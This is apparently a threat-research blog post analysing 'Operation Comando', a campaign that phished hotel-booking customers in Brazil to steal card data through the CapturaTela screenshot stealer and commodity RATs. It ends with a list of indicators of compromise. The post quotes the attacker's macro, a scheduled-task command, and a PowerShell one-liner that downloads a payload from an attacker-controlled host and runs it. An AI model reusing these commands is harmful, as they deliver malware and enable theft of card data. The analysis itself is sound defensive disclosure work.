Operation Comando: How to Run a Cheap and Effective Credit Card Business

This post is also available in: 日本語 (Japanese)

In December 2018, Palo Alto Networks Unit 42 researchers identified an ongoing campaign with a strong focus on the hospitality sector, specifically on hotel reservations. Although our initial analysis didn’t show any novel or advanced techniques, we did observe strong persistence during the campaign that triggered our curiosity.

We followed network traces and pivoted on the information left behind by this actor, such as open directories, document metadata, and binary peculiarities, which enabled us to find a custom-made piece of malware, that we named “CapturaTela”. Our discovery of this malware family shows the reason for the persistent focus on hotel reservations as a primary vector: stealing credit card information from customers.

We profiled this threat actor and that has resulted in uncovering not only their delivery mechanisms, but also their arsenal of remote access tools and info-stealing trojans, both acquired from underground forums as well as open source tools found in GitHub repositories.

Have you ever wondered how an actor can run a very cheap and effective credit card data underground business? Welcome to “Operation Comando”.

The attacker’s delivery mechanisms

Our telemetry for this campaign identified email as the primary delivery mechanism and found the first related samples were distributed in August 2018. Topics used by the actor are typically related to travel bookings and vouchers, and target mainly Brazilian victims. Table 1 shows a representative list of typical subjects and attachment names found during the campaign.

Table 1 Some email subjects and attachment names representative of this campaign.

 While investigating the malicious documents used in the campaign, we discovered an interesting consistency in the document metadata. The author consistently uses an acronym throughout their work - “C.D.T Original” (see details on Figure 1).

Figure 1 Example of malicious document metadata

The attackers make use of multiple common off-the-shelf methods that are observed in many campaigns, such as external references to remote scripts executed by MSHTA. Following this approach, this actor can find multiple tools and resources to perform their activities, and at the same time, make attribution and tracking more difficult for analysts. The most prevalent combinations of methods observed are depicted in Figure 2.

Figure 2 Multiple delivery mechanisms.

As an example of an email delivery used during December 2018 campaigns, let’s look at what pretended to be a rooming list (SHA256: ac70d15106cc368c571c3969c456778b494d62c5319dc366b7e2c116834c6187), which follows one path from Figure 2, more precisely the steps described in Figure 3.

Figure 3 December 2018 campaign delivery example

The malicious documents contain a simple Macro, which executes a remotely-hosted script using MSHTA:

Public Sub Auto_Open()

var0 = "MSHTA https://bit[.]ly/2QXNTHi"

Var = var0

Shell (Var)

End Sub

The landing URL resolves to:

hxxps://internetexplorer200[.]blogspot[.]com/

The statistics for the URL-shortened link on bit.ly confirm the observations from our telemetry, showing targets mainly in Brazil, as depicted in Figure 4 Distribution of Bit.ly campaign on 27-28th December.

Figure 4 Distribution of Bit.ly campaign on 27-28th December

MSHTA executes VBScript contents that are encoded/obfuscated using a very simple algorithm (note the presence of Portuguese words throughout the code).

Figure 5 First stage VBScript code run via MSHTA

This results in the following scheduled task created in the system, where a new second-stage script is invoked via MSHTA from another remote location. Note that the second-stage VB code contains a reference to “CDT” in a comment.

"set shhh = CreateObject(\"WScript.Shell\")\r\n   Dim var1\r\n var1 = \"cmd.exe /c SchTasks /Create /sc MINUTE /MO 240 /TN AdobeUpdateSD /TR \"\".exe https://minhacasaminhavidacdt.blogspot[.]com/\"\r\nshhh.run var1, vbHide\r\n"

Figure 6 Second-stage VB script

This second-stage VBScript code ends up loading a final payload in memory via PowerShell reflection, fetching the binary content from a file with a GIF extension:

"CreateObject(\"Wscript.Shell\").run  \"cmd.exe /c powershell -ExecutionPolicy Bypass -windowstyle hidden -noexit -command [Reflection.Assembly]::Load([Convert]::FromBase64String((New-Object Net.WebClient).DownloadString('http://achoteis.com[.]br/images/64.gif'))).EntryPoint.Invoke($null,$null)\"\r\n"

The final payload delivered in this case is Revenge Remote Access Trojan (RAT), a commodity tool which can be used to facilitate information theft.

Infrastructure analysis

At the infrastructure level, the attacker makes use of dynamic DNS (DDNS) services such as DuckDNS, WinCo, or No-IP, many of which offer free accounts lowering the investment required for attacker infrastructure. Some examples of the domains in use are detailed in Table 2.

Table 2 Examples of domains associated with this campaign using DDNS providers

In addition to using free services, paste sites, and compromised sites, we have also identified at least one domain that appears to be actor-owned. The domain “fejalconstrucoes[.]com[.]br” has been used to host payloads, as well as send emails to potential victims. Figure 7 DNS WHOIS record shows details on the domain, which has been registered using the UOL service in Brazil.

Figure 7 DNS WHOIS record

Emails with malicious attachments belonging to this campaign have been found with the following characteristics:

Domain: fejalconstrucoes[.]com[.]br

Email Senders: mmcorrea@fejalconstrucoes.com.br, marcos@fejalconstrucoes.com.br

Attachment names: Contrato Anual FEJAL Construçoes.ppa

As mentioned before, an interesting detail on domains and paths used by the attacker is the use of the recurring acronym “CDT”, as for example:

hxxp://bit[.]ly/cdtqueda

hxxp://cdtoriginal.ddns[.]net

Identifying the main business driver: “CapturaTela”

During our investigation, one open directory identified allowed us to find several payloads used by the attacker. Table 3 displays the set of payloads and documents found. The acronym “CDT” keeps appearing even in file names used.

Table 3 Contents found in an open directory at cdtmaster[.]com[.]br

Despite the filename, "quasar.jse" is not QuasarRAT, but instead a JS script which contains a basic base64 encoded payload dropper (see Figure 8), with a very simple and interesting payload for our investigation.

Figure 8 JS base64 payload dropper

The decoded payload is a PE file, written in .NET, with information-stealing capabilities. One of its main methods gives name to our malware family “CapturaTela”, and as its Portuguese name indicates, it has the capability to save a screenshot into a Bitmap object.

Figure 9 CapturaTela method's screen capture capabilities.

The main functionality of this malicious information-stealing trojan is the following (see Figure 10):

• Iterate over the open processes list and check for specific window titles. The title has to contain either “ls . B” or “o . B” for the sample to perform further activity.
• If the title is found, a screenshot will be taken and sent by email as a JPEG attachment (see Figure 12).
• It will kill existing Chrome processes when done. The windows' titles are probably based on Chrome tag contents.

Figure 10 Main functionality loop of CapturaTela

Figure 11 Email exfiltration capabilities of CapturaTela

In order to validate the functionality, we decided to create a simple web page matching the title content and patched the malicious sample to use a test email account under our control (see Figure 12).

Figure 12 Test HTML page and debugging CapturaTela functionality

As a result, as displayed in Figure 13, we confirmed the format and contents of the exfiltrated information that the attacker was planning to collect from its victims.

Figure 13 Email received with data exfiltrated

So, the only remaining question for our investigation was the kind of content and window titles that this information-stealing trojan was looking for?  Which kind of web pages could contain “ls · B” or “o · B” as part of their title?

Initially, finding a website with these properties seemed to be an impossible task, but we started the research based on what we knew around the targets and email delivery session metadata used on these campaigns. From this data, we were able to identify potential target websites containing certain – but common to the industry and nature of the business – terms in their website page titles, in both English and Portuguese, that would match the string pattern-matching described above and invoke the malware’s credit card stealing capabilities. The websites found lead us to the fact that the attacker’s focus is on getting the victim’s full credit card details during a given purchase process.

After analyzing several CapturaTela samples, and extracting the contents of the email configuration portion, several interesting strings were found as displayed in Table 4.

Table 4 Interesting strings in email configurations

The continuous use of the “CDT” acronym, and the presence of the word “Comando”, which we could associate to the first letter, led to us to choose “Operation Comando” to describe this campaign.

Extensive use of Remote Access Trojans

Aside from the use of the custom trojan CapturaTela, the actor makes extensive use of several other remote access trojans to perform its malicious activities. The following RAT families has been observed during the actor campaign.

Table 5 Top RAT families observed in this campaign

The extensive use of these RAT tools potentially increases the business objectives, given the amount of information the actor can obtain on top of credit card purchase results stolen from target websites via infected victims.

There are several examples of RAT families used that can be found in GitHub such as:

https://github.com/NYAN-x-CAT/AsyncRAT-C-Sharp

https://github.com/NYAN-x-CAT/Lime-RAT

Overlaps with other published research

Some of the domains and samples found on this investigation have been already researched and reported by Yoroi. Based on the details of our research, we have a strong belief that despite some minor overlaps in the techniques used, this campaign is not related to Gorgon Group.

Conclusions

Operation Comando is a pure cybercrime campaign, possibly with Brazilian origin, with a concrete and persistent focus on the hospitality sector, which proves how a threat actor can be successful in pursuing its objectives while maintaining a cheap budget. The use of DDNS services, publicly available remote access tools, and having a minimum knowledge on software development (in this case VB.NET) has been enough for running a campaign lasting month, and potentially gathering credit card information and other possible data.

While cybercrime campaigns like this remain active, Palo Alto Networks customers are protected from these threats in the following ways:

• WildFire detects all malicious documents and payloads delivered as malware.
• AutoFocus customers can track this campaign using the following tag: OperationComando
• Traps blocks all of the files associated with this campaign.

Palo Alto Networks has shared our findings, including file samples and indicators of compromise, in this report with our fellow Cyber Threat Alliance members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. For more information on the Cyber Threat Alliance, visit cyberthreatalliance.org.

Indicators of Compromise

 Infrastructure

fejalconstrucoes[.]com[.]br

internetexplorer200[.]blogspot[.]com

office365update[.]duckdns[.]org

olhomagicocdt[.]duckdns[.]org

498408[.]ddns[.]net

Systenfailued[.]ddns[.]com[.]br

internetexploter[.]duckdns[.]org

ssl9294[.]websiteseguro[.]com

fejalconstrucoes[.]com[.]br

c-d-t[.]weebly[.]com

Malicious documents

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0c85b2ebc7c5316b7878239daf6a611fc2d0a05966f541e83e19db96f41fd3aa

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1c637cf4276b589f1b2806a77310b90c214cd0b026e4ec69448887be331ba5b3

d96eaf8f22ec5cb9edba6369f9980efc8b0f76bf35eaf92aa5cb5e03669ddd9f

1df7ace77a7f146b1bbd5c881134083f886ea83017f4619a9e62a9743909cdd1

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ac70d15106cc368c571c3969c456778b494d62c5319dc366b7e2c116834c6187

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3f3718b7e50eee8b0b3e4a4da8c5a0302623b5800eb7bc0718036f77a6ec72c0

a44e08b7ebd6bf73a9eb1b5a483987a1f0e3fdfe12b05a7a8f4ec1febfcf959e

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41b57429b00383f2b5d60fb22283b5c14a94ab8619c527e7d749e64b56d31518

ce44559beb4a5d52d962ab9e375970ef1d8e9f22a0be8c971b0244ebca61b2f2

ccd23e44662953d0837ca12728854bfd61f5ea14293a1620c3b48ba8f435a432

57f31ef70a8b8b39659659abd0f1c8974fe23d2cbd2194d097375b2667a5424b

f534f9b1cc64f03c32d59acdf9d58653bb0076798805af12e6cd914cbbfcf5fa

846a89bbcf6c907fd915699a232c1f9acae0756fdc12c590198bfe65b4c90f44

4f2ce6883b7057bde6baed2607e4645e4745db9ebfb20872e425944ba8ec3425

722a2d8d4c1fb1e5195df50b159cdce0b05333acbb3ec90d24310331d21d2514

e54bfccc796a4f779d332e535f78a5b118dbcd8a8971e39ac059ee9f069a1203

4f4ea063d5bd22f1c57cdcf89d40339ddd5d5741c1b1dabfe52a474d70be9d04

 CapturaTela

 c7f3673ca116f76b16a7e00d81553abb0df02e75d4ac8fb6d3af52d351d9b46a

904a4799edf642e6e685a137c88691f08b51643e539bea8de9e4cdf8c6251c7f

a03bc280123541518845cc167b4e812bbe9682696af4eeac041385cc0a00f5c6

RATs

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57d83d5928bb8926718e732a85dd69dffe6ff61ff7edd9b843a50959f2fd1256

33195ec463ba9d627a0c177eca366bbefa34306170449a5c0ef7661319ba2b05

7eaea64fdfdc4f35ffe3036ee03f54c4aace204533a9d157faafa4a23221980c

e76772ae83e2c79ed4aa80b5b7f4b42c46cea45ed1d15bd004b0dc71bfc41945

977d940de630fff225e4917927d47100b75b56444c4117a22aa34b1450dc2930

8a700793012385a706ef277f043bb5bf8a5ef877e3ba1fac3b5601df7fb36a30

c740fe0dbf5aebf5f34e392a9bff0d4a19bf20ff553bb734574c2593ddcbbfa1

10a7ba12bebaa572eb6eb4bef6d1a5043c5403bf796626a478205b344c4dc8c2

4aff04954efd6cb02b1ba18831a72d44b2346db94e944a9f96c652f5944834d0

d735d39de62009d09d7125f71cd774b23b6ab4a51d1dbb3d49003a5657b3477f

9ad38281585897b1d49632ad049c700814f72e20edc46bbc43ba510413ac6f92

877453c0e614e732eb9ee378693cf92263d2373e09c8287e3a4a821ecee29764

b82c7535e41cddade675587ddaac9cb63fdf1973968f10f3a2bc1ea5409a29c2

ec824085dac0d7e0d2e3953d241756a78635a32ad442b7909f0895fd62b08010

5c073adb376b57c99faa9cf10114beda732b13d04b7ed45a32c23eb043ec608f

8d1db84b71eb1f38f95c13c89a6adfbc64d7ca5c5a5165ae7919e0d1e6fadc45

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8e738b2239bbca9f50eab5f3cf3cbe58138e3b2515221c67e7eb934e2d3c7486

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1c30a54a8ad30faff0a7b309d377127ed739ea80c510d7526bbb5cbe6ef5cfc9

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1c604e040c04be9fad3129d7bd9c69b7f8057050b2002605dde1f5e60817f89a

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bc4c98116fadbcef2abfd0fe62a15b154a3b8a8eb329a877d64edc59260519c4

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